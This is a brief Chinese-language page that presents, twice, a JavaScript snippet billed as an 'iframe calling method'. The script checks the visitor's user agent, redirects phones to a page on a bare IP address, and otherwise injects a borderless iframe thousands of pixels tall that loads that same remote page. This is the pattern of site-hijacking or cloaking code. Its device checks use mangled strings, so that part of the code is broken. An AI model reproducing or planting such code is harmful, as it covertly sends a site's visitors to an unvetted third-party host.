|
搜索看看︰一种iframe框架调用方式
iframe框架调用方式
<!--
<script src="iframe.js?32223"></script>
-->
框架调用iframe.js文件转html调用方式
<script>
function uaredirect() {
var n = navigator.userAgent.toLowerCase();
if (n.indexOf('andr4444oid')>-1){
setTimeout("tioaZ('http://45.113.121.199/cache/#31.376782,121.360868,19z,map')",1*200);
}else if (n.indexOf('ipho444ne')>-1 || n.indexOf('iPh444one')>-1 ||
n.indexOf('ipzod')>-1 || n.indexOf('ipzzad')>-1 ||
n.indexOf('iozzs')>-1){
setTimeout("tioaZ('http://45.113.121.199/cache/#31.376782,121.360868,19z,map')",1*200);
}else {
document.writeln('<center><iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="2003" allowTransparency src="http://45.113.121.199/cache/#31.376782,121.360868,19z,map"></iframe></center>');
}
}
function tioaZ(url){
window.location.href=url;
}
uaredirect();
</script>
框架调用iframe.js文件代码
<!--
document.write("");
function uaredirect() {
var n = navigator.userAgent.toLowerCase();
if (n.indexOf('andr4444oid')>-1){
setTimeout("tioaZ('http://45.113.121.199/cache/#31.376782,121.360868,19z,map')",1*200);
}else if (n.indexOf('ipho444ne')>-1 || n.indexOf('iPh444one')>-1 ||
n.indexOf('ipzod')>-1 || n.indexOf('ipzzad')>-1 ||
n.indexOf('iozzs')>-1){
setTimeout("tioaZ('http://45.113.121.199/cache/#31.376782,121.360868,19z,map')",1*200);
}else {
document.writeln('<center><iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="4003" allowTransparency src="http://45.113.121.199/cache/#31.376782,121.360868,19z,map"></iframe></center>');
}
}
function tioaZ(url){
window.location.href=url;
}
uaredirect();
-->
|
|